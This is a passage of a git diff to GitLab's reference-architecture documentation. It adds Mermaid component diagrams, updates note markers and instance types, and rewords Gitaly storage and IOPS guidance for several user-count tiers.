+ BackgroundJobs --> Consul
+
+ state Consul {
+ "Consul_1..3"
+ }
+
+ state Database {
+ "PG_Primary_Node"
+ "PG_Secondary_Node_1..2"
+ }
+
+ state Redis_Cache {
+ "R_Cache_Primary_Node"
+ "R_Cache_Replica_Node_1..2"
+ "R_Cache_Sentinel_1..3"
+ }
+
+ state Redis_Queues {
+ "R_Queues_Primary_Node"
+ "R_Queues_Replica_Node_1..2"
+ "R_Queues_Sentinel_1..3"
+ }
+
+ state Gitaly {
+ "Gitaly_1..2"
+ }
+
+ state BackgroundJobs {
+ "Sidekiq_1..4"
+ }
+
+ state ApplicationServer {
+ "GitLab_Rails_1..3"
+ }
+
+ state LoadBalancer {
+ "LoadBalancer_1"
+ }
+
+ state ApplicationMonitoring {
+ "Prometheus"
+ "Grafana"
+ }
+
+ state PgBouncer {
+ "Internal_Load_Balancer"
+ "PgBouncer_1..3"
+ }
+```
+
The Google Cloud Platform (GCP) architectures were built and tested using the
[Intel Xeon E5 v3 (Haswell)](https://cloud.google.com/compute/docs/cpu-platforms)
CPU platform. On different hardware you may find that adjustments, either lower
@@ -241,7 +316,7 @@ The following IPs will be used as an example:
- `10.6.0.12`: Consul 2
- `10.6.0.13`: Consul 3
-NOTE: **Note:**
+NOTE:
The configuration processes for the other servers in your reference architecture will
use the `/etc/gitlab/gitlab-secrets.json` file from your Consul server to connect
with the other servers.
@@ -962,7 +1037,7 @@ servers. The following IPs will be used as an example:
- `10.6.0.72`: Sentinel - Cache 2
- `10.6.0.73`: Sentinel - Cache 3
-NOTE: **Note:**
+NOTE:
If you're using an external Redis Sentinel instance, be sure to exclude the
`requirepass` parameter from the Sentinel configuration. This parameter causes
clients to report `NOAUTH Authentication required.`.
@@ -1226,7 +1301,7 @@ servers. The following IPs will be used as an example:
- `10.6.0.82`: Sentinel - Queues 2
- `10.6.0.83`: Sentinel - Queues 3
-NOTE: **Note:**
+NOTE:
If you're using an external Redis Sentinel instance, be sure to exclude the
`requirepass` parameter from the Sentinel configuration. This parameter causes
clients to report `NOAUTH Authentication required.`.
@@ -1347,7 +1422,7 @@ To configure the Sentinel Queues server:
## Configure Gitaly
-NOTE: **Note:**
+NOTE:
[Gitaly Cluster](../gitaly/praefect.md) support
for the Reference Architectures is being
worked on as a [collaborative effort](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/1) between the Quality Engineering and Gitaly teams. When this component has been verified
@@ -1356,19 +1431,17 @@ and improved designed.
[Gitaly](../gitaly/index.md) server node requirements are dependent on data,
specifically the number of projects and those projects' sizes. It's recommended
-that a Gitaly server node stores no more than 5 TB of data. Although this
-reference architecture includes a recommendation for the number of Gitaly server
-nodes to use, depending on your storage requirements, you may require additional
-Gitaly server nodes.
+that a Gitaly server node stores no more than 5 TB of data. Depending on your
+repository storage requirements, you may require additional Gitaly server nodes.
Due to Gitaly having notable input and output requirements, we strongly
-recommend that all Gitaly nodes use solid-state drives (SSDs). These SSDs should
-have a throughput of at least 8,000 input/output operations per second (IOPS)
-for read operations and 2,000 IOPS for write operations. These IOPS values are
-initial recommendations, and may be adjusted to greater or lesser values
-depending on the scale of your environment's workload. If you're running the
-environment on a Cloud provider, refer to their documentation about how to
-configure IOPS correctly.
+recommend that all Gitaly nodes use solid-state drives (SSDs). These SSDs
+should have a throughput of at least 8,000
+input/output operations per second (IOPS) for read operations and 2,000 IOPS for
+write operations. These IOPS values are initial recommendations, and may be
+adjusted to greater or lesser values depending on the scale of your
+environment's workload. If you're running the environment on a Cloud provider,
+refer to their documentation about how to configure IOPS correctly.
Be sure to note the following items:
@@ -1376,14 +1449,14 @@ Be sure to note the following items:
[repository storage paths](../repository_storage_paths.md).
- A Gitaly server can host one or more storage paths.
- A GitLab server can use one or more Gitaly server nodes.
-- Gitaly addresses must be specified to be correctly resolvable for _all_
- Gitaly clients.
+- Gitaly addresses must be specified to be correctly resolvable for all Gitaly
+ clients.
- Gitaly servers must not be exposed to the public internet, as Gitaly's network
traffic is unencrypted by default. The use of a firewall is highly recommended
to restrict access to the Gitaly server. Another option is to
[use TLS](#gitaly-tls-support).
-NOTE: **Note:**
+NOTE:
The token referred to throughout the Gitaly documentation is an arbitrary
password selected by the administrator. This token is unrelated to tokens
created for the GitLab API or other similar web API tokens.
@@ -1406,8 +1479,8 @@ On each node:
1. [Download and install](https://about.gitlab.com/install/) the Omnibus GitLab
package of your choice. Be sure to follow _only_ installation steps 1 and 2
on the page, and _do not_ provide the `EXTERNAL_URL` value.
-1. Edit `/etc/gitlab/gitlab.rb` to configure the storage paths, enable
- the network listener, and configure the token:
+1. Edit the Gitaly server node's `/etc/gitlab/gitlab.rb` file to configure
+ storage paths, enable the network listener, and to configure the token:
<!--
updates to following example must also be made at
@@ -1501,7 +1574,7 @@ nodes (including the Gitaly node using the certificate) and on all client nodes
that communicate with it following the procedure described in
[GitLab custom certificate configuration](https://docs.gitlab.com/omnibus/settings/ssl.html#install-custom-public-certificates).
-NOTE: **Note:**
+NOTE:
The self-signed certificate must specify the address you use to access the
Gitaly server. If you are addressing the Gitaly server by a hostname, you can
either use the Common Name field for this, or add it as a Subject Alternative
@@ -1677,7 +1750,7 @@ To configure the Sidekiq nodes, on each one:
1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
-TIP: **Tip:**
+NOTE:
You can also run [multiple Sidekiq processes](../operations/extra_sidekiq_processes.md).
<div align="right">
@@ -1690,12 +1763,6 @@ You can also run [multiple Sidekiq processes](../operations/extra_sidekiq_proces
This section describes how to configure the GitLab application (Rails) component.
-In our architecture, we run each GitLab Rails node using the Puma webserver, and
-have its number of workers set to 90% of available CPUs, with four threads. For
-nodes running Rails with other components, the worker value should be reduced
-accordingly. We've determined that a worker value of 50% achieves a good balance,
-but this is dependent on workload.
-
The following IPs will be used as an example:
- `10.6.0.111`: GitLab application 1
@@ -1999,7 +2066,7 @@ on what features you intend to use:
|Object storage type|Supported by consolidated configuration?|
|-------------------|----------------------------------------|
-| [Backups](../../raketasks/backup_restore.md#uploading-backups-to-a-remote-cloud-storage)|No|
+| [Backups](../../raketasks/backup_restore.md#uploading-backups-to-a-remote-cloud-storage) | No |
| [Job artifacts](../job_artifacts.md#using-object-storage) including archived job logs | Yes |
| [LFS objects](../lfs/index.md#storing-lfs-objects-in-remote-object-storage) | Yes |
| [Uploads](../uploads.md#using-object-storage) | Yes |
diff --git a/doc/administration/reference_architectures/1k_users.md b/doc/administration/reference_architectures/1k_users.md
index 0cb7b8868c3..5b75c7ac9c4 100644
--- a/doc/administration/reference_architectures/1k_users.md
+++ b/doc/administration/reference_architectures/1k_users.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Distribution
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Reference architecture: up to 1,000 users **(CORE ONLY)**
diff --git a/doc/administration/reference_architectures/25k_users.md b/doc/administration/reference_architectures/25k_users.md
index b106f7bced1..c5a8c3927c0 100644
--- a/doc/administration/reference_architectures/25k_users.md
+++ b/doc/administration/reference_architectures/25k_users.md
@@ -2,7 +2,7 @@
reading_time: true
stage: Enablement
group: Distribution
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Reference architecture: up to 25,000 users **(PREMIUM ONLY)**
@@ -24,8 +24,8 @@ full list of reference architectures, see
| Internal load balancing node | 1 | 4 vCPU, 3.6GB memory | n1-highcpu-4 | c5.large | F2s v2 |
| Redis - Cache | 3 | 4 vCPU, 15 GB memory | n1-standard-4 | m5.xlarge | D4s v3 |
| Redis - Queues / Shared State | 3 | 4 vCPU, 15 GB memory | n1-standard-4 | m5.xlarge | D4s v3 |
-| Redis Sentinel - Cache | 3 | 1 vCPU, 1.7 GB memory | g1-small | t2.small | B1MS |
-| Redis Sentinel - Queues / Shared State | 3 | 1 vCPU, 1.7 GB memory | g1-small | t2.small | B1MS |
+| Redis Sentinel - Cache | 3 | 1 vCPU, 1.7 GB memory | g1-small | t3.small | B1MS |
+| Redis Sentinel - Queues / Shared State | 3 | 1 vCPU, 1.7 GB memory | g1-small | t3.small | B1MS |
| Gitaly | 2 (minimum) | 32 vCPU, 120 GB memory | n1-standard-32 | m5.8xlarge | D32s v3 |
| Sidekiq | 4 | 4 vCPU, 15 GB memory | n1-standard-4 | m5.xlarge | D4s v3 |
| GitLab Rails | 5 | 32 vCPU, 28.8 GB memory | n1-highcpu-32 | c5.9xlarge | F32s v2 |
@@ -33,6 +33,81 @@ full list of reference architectures, see
| Object storage | n/a | n/a | n/a | n/a | n/a |
| NFS server | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | c5.xlarge | F4s v2 |
+```mermaid
+stateDiagram-v2
+ [*] --> LoadBalancer
+ LoadBalancer --> ApplicationServer
+
+ ApplicationServer --> BackgroundJobs
+ ApplicationServer --> Gitaly
+ ApplicationServer --> Redis_Cache
+ ApplicationServer --> Redis_Queues
+ ApplicationServer --> PgBouncer
+ PgBouncer --> Database
+ ApplicationServer --> ObjectStorage
+ BackgroundJobs --> ObjectStorage
+
+ ApplicationMonitoring -->ApplicationServer
+ ApplicationMonitoring -->PgBouncer
+ ApplicationMonitoring -->Database
+ ApplicationMonitoring -->BackgroundJobs
+
+ ApplicationServer --> Consul
+
+ Consul --> Database
+ Consul --> PgBouncer
+ Redis_Cache --> Consul
+ Redis_Queues --> Consul
+ BackgroundJobs --> Consul
+
+ state Consul {
+ "Consul_1..3"
+ }
+
+ state Database {
+ "PG_Primary_Node"
+ "PG_Secondary_Node_1..2"
+ }
+
+ state Redis_Cache {
+ "R_Cache_Primary_Node"
+ "R_Cache_Replica_Node_1..2"
+ "R_Cache_Sentinel_1..3"
+ }
+
+ state Redis_Queues {
+ "R_Queues_Primary_Node"
+ "R_Queues_Replica_Node_1..2"
+ "R_Queues_Sentinel_1..3"
+ }
+
+ state Gitaly {
+ "Gitaly_1..2"
+ }
+
+ state BackgroundJobs {
+ "Sidekiq_1..4"
+ }
+
+ state ApplicationServer {
+ "GitLab_Rails_1..5"
+ }
+
+ state LoadBalancer {
+ "LoadBalancer_1"
+ }
+
+ state ApplicationMonitoring {
+ "Prometheus"
+ "Grafana"
+ }
+
+ state PgBouncer {
+ "Internal_Load_Balancer"
+ "PgBouncer_1..3"
+ }
+```
+
The Google Cloud Platform (GCP) architectures were built and tested using the
[Intel Xeon E5 v3 (Haswell)](https://cloud.google.com/compute/docs/cpu-platforms)
CPU platform. On different hardware you may find that adjustments, either lower
@@ -241,7 +316,7 @@ The following IPs will be used as an example:
- `10.6.0.12`: Consul 2
- `10.6.0.13`: Consul 3
-NOTE: **Note:**
+NOTE:
The configuration processes for the other servers in your reference architecture will
use the `/etc/gitlab/gitlab-secrets.json` file from your Consul server to connect
with the other servers.
@@ -962,7 +1037,7 @@ servers. The following IPs will be used as an example:
- `10.6.0.72`: Sentinel - Cache 2
- `10.6.0.73`: Sentinel - Cache 3
-NOTE: **Note:**
+NOTE:
If you're using an external Redis Sentinel instance, be sure to exclude the
`requirepass` parameter from the Sentinel configuration. This parameter causes
clients to report `NOAUTH Authentication required.`.
@@ -1226,7 +1301,7 @@ servers. The following IPs will be used as an example:
- `10.6.0.82`: Sentinel - Queues 2
- `10.6.0.83`: Sentinel - Queues 3
-NOTE: **Note:**
+NOTE:
If you're using an external Redis Sentinel instance, be sure to exclude the
`requirepass` parameter from the Sentinel configuration. This parameter causes
clients to report `NOAUTH Authentication required.`.
@@ -1347,7 +1422,7 @@ To configure the Sentinel Queues server:
## Configure Gitaly
-NOTE: **Note:**
+NOTE:
[Gitaly Cluster](../gitaly/praefect.md) support
for the Reference Architectures is being
worked on as a [collaborative effort](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/1) between the Quality Engineering and Gitaly teams. When this component has been verified
@@ -1356,19 +1431,17 @@ and improved designed.
[Gitaly](../gitaly/index.md) server node requirements are dependent on data,
specifically the number of projects and those projects' sizes. It's recommended
-that a Gitaly server node stores no more than 5 TB of data. Although this
-reference architecture includes a recommendation for the number of Gitaly server
-nodes to use, depending on your storage requirements, you may require additional
-Gitaly server nodes.
+that a Gitaly server node stores no more than 5 TB of data. Depending on your
+repository storage requirements, you may require additional Gitaly server nodes.
Due to Gitaly having notable input and output requirements, we strongly
-recommend that all Gitaly nodes use solid-state drives (SSDs). These SSDs should
-have a throughput of at least 8,000 input/output operations per second (IOPS)
-for read operations and 2,000 IOPS for write operations. These IOPS values are
-initial recommendations, and may be adjusted to greater or lesser values
-depending on the scale of your environment's workload. If you're running the
-environment on a Cloud provider, refer to their documentation about how to
-configure IOPS correctly.
+recommend that all Gitaly nodes use solid-state drives (SSDs). These SSDs
+should have a throughput of at least 8,000
+input/output operations per second (IOPS) for read operations and 2,000 IOPS for
+write operations. These IOPS values are initial recommendations, and may be
+adjusted to greater or lesser values depending on the scale of your
+environment's workload. If you're running the environment on a Cloud provider,
+refer to their documentation about how to configure IOPS correctly.
Be sure to note the following items:
@@ -1376,14 +1449,14 @@ Be sure to note the following items:
[repository storage paths](../repository_storage_paths.md).
- A Gitaly server can host one or more storage paths.
- A GitLab server can use one or more Gitaly server nodes.
-- Gitaly addresses must be specified to be correctly resolvable for _all_
- Gitaly clients.
+- Gitaly addresses must be specified to be correctly resolvable for all Gitaly
+ clients.
- Gitaly servers must not be exposed to the public internet, as Gitaly's network
traffic is unencrypted by default. The use of a firewall is highly recommended
to restrict access to the Gitaly server. Another option is to
[use TLS](#gitaly-tls-support).
-NOTE: **Note:**
+NOTE:
The token referred to throughout the Gitaly documentation is an arbitrary
password selected by the administrator. This token is unrelated to tokens
created for the GitLab API or other similar web API tokens.
@@ -1406,8 +1479,8 @@ On each node:
1. [Download and install](https://about.gitlab.com/install/) the Omnibus GitLab
package of your choice. Be sure to follow _only_ installation steps 1 and 2
on the page, and _do not_ provide the `EXTERNAL_URL` value.
-1. Edit `/etc/gitlab/gitlab.rb` to configure the storage paths, enable
- the network listener, and configure the token:
+1. Edit the Gitaly server node's `/etc/gitlab/gitlab.rb` file to configure
+ storage paths, enable the network listener, and to configure the token:
<!--
updates to following example must also be made at
@@ -1501,7 +1574,7 @@ nodes (including the Gitaly node using the certificate) and on all client nodes
that communicate with it following the procedure described in
[GitLab custom certificate configuration](https://docs.gitlab.com/omnibus/settings/ssl.html#install-custom-public-certificates).
-NOTE: **Note:**
+NOTE:
The self-signed certificate must specify the address you use to access the
Gitaly server. If you are addressing the Gitaly server by a hostname, you can
either use the Common Name field for this, or add it as a Subject Alternative
@@ -1677,7 +1750,7 @@ To configure the Sidekiq nodes, on each one:
1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
-TIP: **Tip:**
+NOTE:
You can also run [multiple Sidekiq processes](../operations/extra_sidekiq_processes.md).
<div align="right">
@@ -1690,12 +1763,6 @@ You can also run [multiple Sidekiq processes](../operations/extra_sidekiq_proces
This section describes how to configure the GitLab application (Rails) component.
-In our architecture, we run each GitLab Rails node using the Puma webserver, and
-have its number of workers set to 90% of available CPUs, with four threads. For
-nodes running Rails with other components, the worker value should be reduced
-accordingly. We've determined that a worker value of 50% achieves a good balance,
-but this is dependent on workload.
-
The following IPs will be used as an example:
- `10.6.0.111`: GitLab application 1
@@ -1999,7 +2066,7 @@ on what features you intend to use:
|Object storage type|Supported by consolidated configuration?|
|-------------------|----------------------------------------|
-| [Backups](../../raketasks/backup_restore.md#uploading-backups-to-a-remote-cloud-storage)|No|
+| [Backups](../../raketasks/backup_restore.md#uploading-backups-to-a-remote-cloud-storage) | No |
| [Job artifacts](../job_artifacts.md#using-object-storage) including archived job logs | Yes |
| [LFS objects](../lfs/index.md#storing-lfs-objects-in-remote-object-storage) | Yes |
| [Uploads](../uploads.md#using-object-storage) | Yes |
diff --git a/doc/administration/reference_architectures/2k_users.md b/doc/administration/reference_architectures/2k_users.md
index f4842a8568b..c341ff5baec 100644
--- a/doc/administration/reference_architectures/2k_users.md
+++ b/doc/administration/reference_architectures/2k_users.md
@@ -2,7 +2,7 @@
reading_time: true
stage: Enablement
group: Distribution
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Reference architecture: up to 2,000 users **(CORE ONLY)**
@@ -26,6 +26,46 @@ For a full list of reference architectures, see
| Object storage | n/a | n/a | n/a | n/a | n/a |
| NFS server (optional, not recommended) | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | c5.xlarge | F4s v2 |
+```mermaid
+stateDiagram-v2
+ [*] --> LoadBalancer
+ LoadBalancer --> ApplicationServer
+
+ ApplicationServer --> Gitaly
+ ApplicationServer --> Redis
+ ApplicationServer --> Database
+ ApplicationServer --> ObjectStorage
+
+ ApplicationMonitoring -->ApplicationServer
+ ApplicationMonitoring -->Redis
+ ApplicationMonitoring -->Database
+
+
+ state Database {
+ "PG_Node"
+ }
+ state Redis {
+ "Redis_Node"
+ }
+
+ state Gitaly {
+ "Gitaly"
+ }
+
+ state ApplicationServer {
+ "AppServ_1..2"
+ }
+
+ state LoadBalancer {
+ "LoadBalancer"
+ }
+
+ state ApplicationMonitoring {
+ "Prometheus"
+ "Grafana"
+ }
+```
+
The Google Cloud Platform (GCP) architectures were built and tested using the
[Intel Xeon E5 v3 (Haswell)](https://cloud.google.com/compute/docs/cpu-platforms)
CPU platform. On different hardware you may find that adjustments, either lower
@@ -356,7 +396,7 @@ are supported and can be added if needed.
## Configure Gitaly
-NOTE: **Note:**
+NOTE:
[Gitaly Cluster](../gitaly/praefect.md) support
for the Reference Architectures is being
worked on as a [collaborative effort](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/1) between the Quality Engineering and Gitaly teams. When this component has been verified
@@ -391,7 +431,7 @@ Be sure to note the following items:
to restrict access to the Gitaly server. Another option is to
[use TLS](#gitaly-tls-support).
-NOTE: **Note:**
+NOTE:
The token referred to throughout the Gitaly documentation is an arbitrary
password selected by the administrator. This token is unrelated to tokens
created for the GitLab API or other similar web API tokens.
@@ -485,7 +525,7 @@ nodes (including the Gitaly node using the certificate) and on all client nodes
that communicate with it following the procedure described in
[GitLab custom certificate configuration](https://docs.gitlab.com/omnibus/settings/ssl.html#install-custom-public-certificates).
-NOTE: **Note:**
+NOTE:
The self-signed certificate must specify the address you use to access the
Gitaly server. If you are addressing the Gitaly server by a hostname, you can
either use the Common Name field for this, or add it as a Subject Alternative
@@ -858,7 +898,7 @@ on what features you intend to use:
|Object storage type|Supported by consolidated configuration?|
|-------------------|----------------------------------------|
-| [Backups](../../raketasks/backup_restore.md#uploading-backups-to-a-remote-cloud-storage)|No|
+| [Backups](../../raketasks/backup_restore.md#uploading-backups-to-a-remote-cloud-storage) | No |
| [Job artifacts](../job_artifacts.md#using-object-storage) including archived job logs | Yes |
| [LFS objects](../lfs/index.md#storing-lfs-objects-in-remote-object-storage) | Yes |
| [Uploads](../uploads.md#using-object-storage) | Yes |
diff --git a/doc/administration/reference_architectures/3k_users.md b/doc/administration/reference_architectures/3k_users.md
index b5b3e4e0300..370247ed856 100644
--- a/doc/administration/reference_architectures/3k_users.md
+++ b/doc/administration/reference_architectures/3k_users.md
@@ -2,7 +2,7 @@
reading_time: true
stage: Enablement
group: Distribution
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Reference architecture: up to 3,000 users **(PREMIUM ONLY)**
@@ -11,7 +11,7 @@ This page describes GitLab reference architecture for up to 3,000 users. For a
full list of reference architectures, see
[Available reference architectures](index.md#available-reference-architectures).
-NOTE: **Note:**
+NOTE:
This reference architecture is designed to help your organization achieve a
highly-available GitLab deployment. If you do not have the expertise or need to
maintain a highly-available environment, you can have a simpler and less
@@ -37,6 +37,62 @@ costly-to-operate environment by using the
| Object storage | n/a | n/a | n/a | n/a | n/a |
| NFS server (optional, not recommended) | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | c5.xlarge | F4s v2 |
+```mermaid
+stateDiagram-v2
+ [*] --> LoadBalancer
+ LoadBalancer --> ApplicationServer
+
+ ApplicationServer --> BackgroundJobs
+ ApplicationServer --> Gitaly
+ ApplicationServer --> Redis
+ ApplicationServer --> PgBouncer
+ PgBouncer --> Database
+ ApplicationServer --> ObjectStorage
+ BackgroundJobs --> ObjectStorage
+
+ ApplicationMonitoring -->ApplicationServer
+ ApplicationMonitoring -->Redis
+ ApplicationMonitoring -->PgBouncer
+ ApplicationMonitoring -->Database
+ ApplicationMonitoring -->BackgroundJobs
+
+ state Database {
+ "PG_Primary_Node"
+ "PG_Secondary_Node_1..2"
+ }
+ state Redis {
+ "R_Primary_Node"
+ "R_Replica_Node_1..2"
+ "R_Consul/Sentinel_1..3"
+ }
+
+ state Gitaly {
+ "Gitaly_1..2"
+ }
+
+ state BackgroundJobs {
+ "Sidekiq_1..4"
+ }
+
+ state ApplicationServer {
+ "GitLab_Rails_1..3"
+ }
+
+ state LoadBalancer {
+ "LoadBalancer_1"
+ }
+
+ state ApplicationMonitoring {
+ "Prometheus"
+ "Grafana"
+ }
+
+ state PgBouncer {
+ "Internal_Load_Balancer"
+ "PgBouncer_1..3"
+ }
+```
+
The Google Cloud Platform (GCP) architectures were built and tested using the
[Intel Xeon E5 v3 (Haswell)](https://cloud.google.com/compute/docs/cpu-platforms)
CPU platform. On different hardware you may find that adjustments, either lower
@@ -444,7 +500,7 @@ servers. The following IPs will be used as an example:
- `10.6.0.12`: Consul/Sentinel 2
- `10.6.0.13`: Consul/Sentinel 3
-NOTE: **Note:**
+NOTE:
If you're using an external Redis Sentinel instance, be sure to exclude the
`requirepass` parameter from the Sentinel configuration. This parameter causes
clients to report `NOAUTH Authentication required.`.
@@ -1058,7 +1114,7 @@ Refer to your preferred Load Balancer's documentation for further guidance.
## Configure Gitaly
-NOTE: **Note:**
+NOTE:
[Gitaly Cluster](../gitaly/praefect.md) support
for the Reference Architectures is being
worked on as a [collaborative effort](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/1) between the Quality Engineering and Gitaly teams. When this component has been verified
@@ -1067,19 +1123,17 @@ and improved designed.
[Gitaly](../gitaly/index.md) server node requirements are dependent on data,
specifically the number of projects and those projects' sizes. It's recommended
-that a Gitaly server node stores no more than 5 TB of data. Although this
-reference architecture includes a recommendation for the number of Gitaly server
-nodes to use, depending on your storage requirements, you may require additional
-Gitaly server nodes.
+that a Gitaly server node stores no more than 5 TB of data. Depending on your
+repository storage requirements, you may require additional Gitaly server nodes.
Due to Gitaly having notable input and output requirements, we strongly
-recommend that all Gitaly nodes use solid-state drives (SSDs). These SSDs should
-have a throughput of at least 8,000 input/output operations per second (IOPS)
-for read operations and 2,000 IOPS for write operations. These IOPS values are
-initial recommendations, and may be adjusted to greater or lesser values
-depending on the scale of your environment's workload. If you're running the
-environment on a Cloud provider, refer to their documentation about how to
-configure IOPS correctly.
+recommend that all Gitaly nodes use solid-state drives (SSDs). These SSDs
+should have a throughput of at least 8,000
+input/output operations per second (IOPS) for read operations and 2,000 IOPS for
+write operations. These IOPS values are initial recommendations, and may be
+adjusted to greater or lesser values depending on the scale of your
+environment's workload. If you're running the environment on a Cloud provider,
+refer to their documentation about how to configure IOPS correctly.
Be sure to note the following items:
@@ -1087,14 +1141,14 @@ Be sure to note the following items:
[repository storage paths](../repository_storage_paths.md).
- A Gitaly server can host one or more storage paths.
- A GitLab server can use one or more Gitaly server nodes.
-- Gitaly addresses must be specified to be correctly resolvable for _all_
- Gitaly clients.
+- Gitaly addresses must be specified to be correctly resolvable for all Gitaly
+ clients.
- Gitaly servers must not be exposed to the public internet, as Gitaly's network
traffic is unencrypted by default. The use of a firewall is highly recommended
to restrict access to the Gitaly server. Another option is to
[use TLS](#gitaly-tls-support).
-NOTE: **Note:**
+NOTE:
The token referred to throughout the Gitaly documentation is an arbitrary
password selected by the administrator. This token is unrelated to tokens
created for the GitLab API or other similar web API tokens.
@@ -1117,8 +1171,8 @@ On each node:
1. [Download and install](https://about.gitlab.com/install/) the Omnibus GitLab
package of your choice. Be sure to follow _only_ installation steps 1 and 2
on the page, and _do not_ provide the `EXTERNAL_URL` value.
-1. Edit `/etc/gitlab/gitlab.rb` to configure the storage paths, enable
- the network listener, and configure the token:
+1. Edit the Gitaly server node's `/etc/gitlab/gitlab.rb` file to configure
+ storage paths, enable the network listener, and to configure the token:
<!--
updates to following example must also be made at
@@ -1244,7 +1298,7 @@ nodes (including the Gitaly node using the certificate) and on all client nodes
that communicate with it following the procedure described in
[GitLab custom certificate configuration](https://docs.gitlab.com/omnibus/settings/ssl.html#install-custom-public-certificates).
-NOTE: **Note:**
+NOTE:
The self-signed certificate must specify the address you use to access the
Gitaly server. If you are addressing the Gitaly server by a hostname, you can
either use the Common Name field for this, or add it as a Subject Alternative
@@ -1412,7 +1466,7 @@ To configure the Sidekiq nodes, one each one:
run: sidekiq: (pid 30142) 77351s; run: log: (pid 29638) 77386s
```
-TIP: **Tip:**
+NOTE:
You can also run [multiple Sidekiq processes](../operations/extra_sidekiq_processes.md).
<div align="right">
@@ -1425,12 +1479,6 @@ You can also run [multiple Sidekiq processes](../operations/extra_sidekiq_proces
This section describes how to configure the GitLab application (Rails) component.
-In our architecture, we run each GitLab Rails node using the Puma webserver, and
-have its number of workers set to 90% of available CPUs, with four threads. For
-nodes running Rails with other components, the worker value should be reduced
-accordingly. We've determined that a worker value of 50% achieves a good balance,
-but this is dependent on workload.
-
On each node perform the following:
1. If you're [using NFS](#configure-nfs-optional):
@@ -1734,7 +1782,7 @@ on what features you intend to use:
|Object storage type|Supported by consolidated configuration?|
|-------------------|----------------------------------------|
-| [Backups](../../raketasks/backup_restore.md#uploading-backups-to-a-remote-cloud-storage)|No|
+| [Backups](../../raketasks/backup_restore.md#uploading-backups-to-a-remote-cloud-storage) | No |
| [Job artifacts](../job_artifacts.md#using-object-storage) including archived job logs | Yes |
| [LFS objects](../lfs/index.md#storing-lfs-objects-in-remote-object-storage) | Yes |
| [Uploads](../uploads.md#using-object-storage) | Yes |
diff --git a/doc/administration/reference_architectures/50k_users.md b/doc/administration/reference_architectures/50k_users.md
index 152eb9cb90d..f76c8a8a877 100644
--- a/doc/administration/reference_architectures/50k_users.md
+++ b/doc/administration/reference_architectures/50k_users.md
@@ -2,7 +2,7 @@
reading_time: true
stage: Enablement
group: Distribution
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Reference architecture: up to 50,000 users **(PREMIUM ONLY)**
@@ -24,8 +24,8 @@ full list of reference architectures, see
| Internal load balancing node | 1 | 8 vCPU, 7.2 GB memory | n1-highcpu-8 | c5.2xlarge | F8s v2 |
| Redis - Cache | 3 | 4 vCPU, 15 GB memory | n1-standard-4 | m5.xlarge | D4s v3 |
| Redis - Queues / Shared State | 3 | 4 vCPU, 15 GB memory | n1-standard-4 | m5.xlarge | D4s v3 |
-| Redis Sentinel - Cache | 3 | 1 vCPU, 1.7 GB memory | g1-small | t2.small | B1MS |
-| Redis Sentinel - Queues / Shared State | 3 | 1 vCPU, 1.7 GB memory | g1-small | t2.small | B1MS |
+| Redis Sentinel - Cache | 3 | 1 vCPU, 1.7 GB memory | g1-small | t3.small | B1MS |
+| Redis Sentinel - Queues / Shared State | 3 | 1 vCPU, 1.7 GB memory | g1-small | t3.small | B1MS |
| Gitaly | 2 (minimum) | 64 vCPU, 240 GB memory | n1-standard-64 | m5.16xlarge | D64s v3 |
| Sidekiq | 4 | 4 vCPU, 15 GB memory | n1-standard-4 | m5.xlarge | D4s v3 |
| GitLab Rails | 12 | 32 vCPU, 28.8 GB memory | n1-highcpu-32 | c5.9xlarge | F32s v2 |
@@ -33,6 +33,81 @@ full list of reference architectures, see
| Object storage | n/a | n/a | n/a | n/a | n/a |
| NFS server | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | c5.xlarge | F4s v2 |
+```mermaid
+stateDiagram-v2
+ [*] --> LoadBalancer
+ LoadBalancer --> ApplicationServer
+
+ ApplicationServer --> BackgroundJobs
+ ApplicationServer --> Gitaly
+ ApplicationServer --> Redis_Cache
+ ApplicationServer --> Redis_Queues
+ ApplicationServer --> PgBouncer
+ PgBouncer --> Database
+ ApplicationServer --> ObjectStorage
+ BackgroundJobs --> ObjectStorage
+
+ ApplicationMonitoring -->ApplicationServer
+ ApplicationMonitoring -->PgBouncer
+ ApplicationMonitoring -->Database
+ ApplicationMonitoring -->BackgroundJobs
+
+ ApplicationServer --> Consul
+
+ Consul --> Database
+ Consul --> PgBouncer
+ Redis_Cache --> Consul
+ Redis_Queues --> Consul
+ BackgroundJobs --> Consul
+
+ state Consul {
+ "Consul_1..3"
+ }
+
+ state Database {
+ "PG_Primary_Node"
+ "PG_Secondary_Node_1..2"
+ }
+
+ state Redis_Cache {
+ "R_Cache_Primary_Node"
+ "R_Cache_Replica_Node_1..2"
+ "R_Cache_Sentinel_1..3"
